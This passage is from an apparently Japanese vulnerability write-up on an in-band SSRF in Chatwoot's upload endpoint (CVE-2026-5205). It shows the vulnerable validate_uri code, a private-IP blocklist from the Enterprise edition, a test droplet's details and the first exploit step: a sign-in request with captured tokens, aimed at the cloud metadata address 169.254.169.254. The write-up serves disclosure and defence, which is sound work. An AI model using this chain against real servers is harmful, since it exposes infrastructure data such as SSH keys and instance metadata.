&lt;td style="text-align: left;"&gt;CWE-918：サーバーサイドリクエストフォージェリ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;重大度&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;影響範囲&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Chatwoot &amp;le; v4.12.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;修正バージョン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;v4.13.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;認証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェント（最低権限のロール）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;影響を受けるコンポーネント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;app/controllers/api/v1/accounts/upload_controller.rb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="_1"&gt;&lt;/h2&gt;
&lt;h2 id="経緯"&gt;&lt;strong&gt;経緯&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;発端は、あるアップロードエンドポイントと、信頼すべきではなかった1つのパラメーターでした。&lt;/p&gt;
&lt;p&gt;当社Ostorlabで、私はChatwootのコードベースをレビューしていました。ChatwootはIntercomの代替を標榜するオープンソースの顧客エンゲージメントプラットフォームです。アプリケーション内のデータフローを追跡していく中で、アップロードコントローラーにたどり着きました。&lt;code&gt;/api/v1/accounts/:id/upload&lt;/code&gt;にあるこのエンドポイントは&lt;code&gt;external_url&lt;/code&gt;パラメーターを受け取ります。URLを渡すと、サーバーがそのリソースを取得してActiveStorageのブロブとして保存し、結果をダウンロードするための&lt;code&gt;file_url&lt;/code&gt;を返してくるのです。&lt;/p&gt;
&lt;p&gt;すぐに疑問が浮かびました。このエンドポイントがフェッチするのを、いったい何が止めるのか。たとえば &lt;code&gt;http://169.254.169.254/&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;答えは「何も止めない」でした。ユーザー入力と外向きのHTTPリクエストの間に立っていたのは、&lt;code&gt;validate_uri&lt;/code&gt;というたった1つの関数だけです。この関数はURLのスキームをチェックします。それだけです。ホスト名の検証もありません。IP範囲のブロックもありません。DNSリバインディング対策もありません。サーバーは任意の&lt;code&gt;http://&lt;/code&gt;または&lt;code&gt;https://&lt;/code&gt;のURLを嬉々として取得し、そのレスポンスを保存して、呼び出し元に返してしまいます。&lt;/p&gt;
&lt;p&gt;そして、攻撃者がサイドチャネルを通じてレスポンスを推測しなければならないブラインドSSRF脆弱性とは異なり、これはActiveStorageのブロブを通じて&lt;strong&gt;レスポンスボディ全体をインバンドで&lt;/strong&gt;返します。アウトオブバンドの窃取は不要です。タイミング攻撃も不要です。サーバーがデータを取得し、保存し、お盆に載せて差し出してくれるのです。&lt;/p&gt;
&lt;p&gt;私は未改変の&lt;code&gt;chatwoot/chatwoot:latest&lt;/code&gt;をDigitalOceanのドロップレット上にデプロイし、完全なエクスプロイトチェーンを確認しました。メタデータサービスに対する6回連続のリクエストで、そのたびに実際のインフラデータがブロブURLを通じて返ってきました。ドロップレットID。ホスト名。パブリックIP。SSH公開鍵。完全なメタデータJSONバンドル。すべてが単純なGETリクエストで読み取り可能でした。&lt;/p&gt;
&lt;p&gt;この検出結果は、GitHub Security Advisory経由でChatwootのセキュリティチームに報告しました。報告された問題はすでに報告済みであり、&lt;strong&gt;v4.13.0&lt;/strong&gt;で修正済みであることが確認されました。本記事では、私が発見した通りにこの脆弱性を記録します。脆弱なコード、エクスプロイトチェーン、そして実際のインフラ上での実証です。&lt;/p&gt;
&lt;h2 id="脆弱性:external_urlパラメーターを介したssrf(cve-2026-5205)"&gt;&lt;strong&gt;脆弱性：external_urlパラメーターを介したSSRF（CVE-2026-5205）&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="シンク"&gt;シンク&lt;/h3&gt;
&lt;p&gt;Chatwootの&lt;code&gt;/api/v1/accounts/:id/upload&lt;/code&gt;にあるアップロードエンドポイントは、&lt;code&gt;external_url&lt;/code&gt;パラメーターを受け取ります。サーバーはRubyの&lt;code&gt;open-uri&lt;/code&gt;を使ってサーバーサイドでそのURLを取得し、レスポンスボディをActiveStorageのブロブとして保存し、&lt;strong&gt;そのブロブURLを呼び出し元へ直接返します&lt;/strong&gt;。攻撃者はその後&lt;code&gt;file_url&lt;/code&gt;をたどることで、生の上流レスポンスを読み取ることができます。完全なインバンド窃取です。&lt;/p&gt;
&lt;h3 id="データフローの追跡"&gt;データフローの追跡&lt;/h3&gt;
&lt;p&gt;脆弱なコードは&lt;code&gt;app/controllers/api/v1/accounts/upload_controller.rb&lt;/code&gt;にあります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;validate_uri&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;raise&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;InvalidURIError&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;unless&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;is_a&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;is_a&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;URI&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nx"&gt;HTTPS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;end&lt;/span&gt;

&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetch_and_process_file_from_uri&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetches&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ANY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;incl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m m-Double"&gt;169.254.169.254&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;create_and_save_blob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;File&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;content_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;end&lt;/span&gt;
&lt;span class="nx"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これだけです。&lt;code&gt;validate_uri&lt;/code&gt;はURLが&lt;code&gt;http://&lt;/code&gt;または&lt;code&gt;https://&lt;/code&gt;を使っているかどうかを検証します。それ以外は何もしません。ホスト名の検証もありません。IP範囲のチェックもありません。許可リストもありません。&lt;code&gt;http://169.254.169.254/metadata/v1/id&lt;/code&gt;はこのチェックを一瞥もされずに通過します。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;uri.open&lt;/code&gt;（&lt;code&gt;open-uri&lt;/code&gt;に由来）は、スキームチェックを通過した任意のURLに対して実際のHTTP GETを行います。そのレスポンスは&lt;code&gt;create_and_save_blob&lt;/code&gt;によって消費され、生のボディがActiveStorageのブロブとして保存されます。ブロブの&lt;code&gt;file_url&lt;/code&gt;はJSONレスポンスで返され、攻撃者に上流レスポンスボディ全体への直接アクセスを与えてしまいます。&lt;/p&gt;
&lt;p&gt;サーバーは次のように応答します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"file_url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;"blob_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;file_url&lt;/code&gt;をたどると、生の上流ボディが返ります。これが窃取チャネルのすべてであり、アプリケーションの通常のレスポンスフローに組み込まれているのです。&lt;/p&gt;
&lt;h3 id="皮肉な点:enterprise版のコードには保護があるのに、コア版にはない"&gt;皮肉な点：Enterprise版のコードには保護があるのに、コア版にはない&lt;/h3&gt;
&lt;p&gt;皮肉が刺さります。Chatwootの&lt;strong&gt;Enterprise版&lt;/strong&gt;には、すでに&lt;code&gt;enterprise/lib/captain/tools/http_tool.rb&lt;/code&gt;に適切なSSRF対策が含まれています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;PRIVATE_IP_RANGES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="m m-Double"&gt;127.0.0.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Loopback&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="m m-Double"&gt;10.0.0.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;network&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="m m-Double"&gt;172.16.0.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;network&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="m m-Double"&gt;192.168.0.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;network&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="m m-Double"&gt;169.254.0.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Link&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cloud&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Loopback&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;fc00&lt;/span&gt;&lt;span class="o"&gt;::/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Unique&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addresses&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;fe80&lt;/span&gt;&lt;span class="o"&gt;::/&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPv6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Link&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;local&lt;/span&gt;
&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;freeze&lt;/span&gt;

&lt;span class="nx"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;check_private_ip&lt;/span&gt;&lt;span class="p"&gt;!(&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;ip_address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IPAddr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Resolv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getaddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;raise&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;blocked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolves&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;IP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;PRIVATE_IP_RANGES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nx"&gt;range&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;range&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;include&lt;/span&gt;&lt;span class="p"&gt;?(&lt;/span&gt;&lt;span class="nx"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;プライベートIPを完全にカバーしています。チェックの前にDNS解決を行っています。まさに&lt;code&gt;validate_uri&lt;/code&gt;に必要だったものです。しかしこの保護はEnterprise版のAIツールモジュールに閉じ込められていて、アップロードコントローラーには一切適用されず、&lt;code&gt;external_url&lt;/code&gt;のダウンロード経路を無防備なまま放置していました。&lt;/p&gt;
&lt;p&gt;修正策は同じコードベースの中にあったのです。ただ、つながれていなかっただけでした。&lt;/p&gt;
&lt;h2 id="実証:digitaloceanのドロップレット"&gt;&lt;strong&gt;実証：DigitalOceanのドロップレット&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;私はこれを、DigitalOceanのドロップレット上の未改変の&lt;code&gt;chatwoot/chatwoot:latest&lt;/code&gt;デプロイメントに対してテストしました。特別な設定も、変更された設定もなく、デフォルトの&lt;code&gt;docker-compose.production.yaml&lt;/code&gt;のみです。結果がすべてを物語っています。&lt;/p&gt;
&lt;h3 id="テスト環境"&gt;テスト環境&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;項目&lt;/th&gt;
&lt;th style="text-align: left;"&gt;値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;プロバイダー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DigitalOcean&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;リージョン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;lon1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ドロップレットID&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;552923997&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ホスト名&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;パブリックIP&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;167.99.195.252&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;イメージ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;chatwoot/chatwoot:latest&lt;/code&gt;（デフォルトの&lt;code&gt;docker-compose.production.yaml&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;攻撃者&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;agent@acme.test&lt;/code&gt;（ロール&lt;code&gt;0&lt;/code&gt; &amp;mdash; エージェント、&lt;strong&gt;非管理者&lt;/strong&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="ステップ1 &amp;mdash; 最低権限のエージェントとして認証する"&gt;ステップ1 &amp;mdash; 最低権限のエージェントとして認証する&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/auth/sign_in&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nt"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"agent@acme.test"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Password1!"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;キャプチャしたレスポンスヘッダー：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zNicAlY5gBHQvFSspta63g&lt;/span&gt;
&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nx"&gt;KHysYvoMt2zIkl4yAiJM5Q&lt;/span&gt;
&lt;span class="nx"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;agent&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;acme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;test&lt;/span&gt;
&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;Bearer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;攻撃者に管理者アクセスは必要ありません。アップロードエンドポイントに到達するには、最低権限のエージェントロールで十分です。&lt;/p&gt;
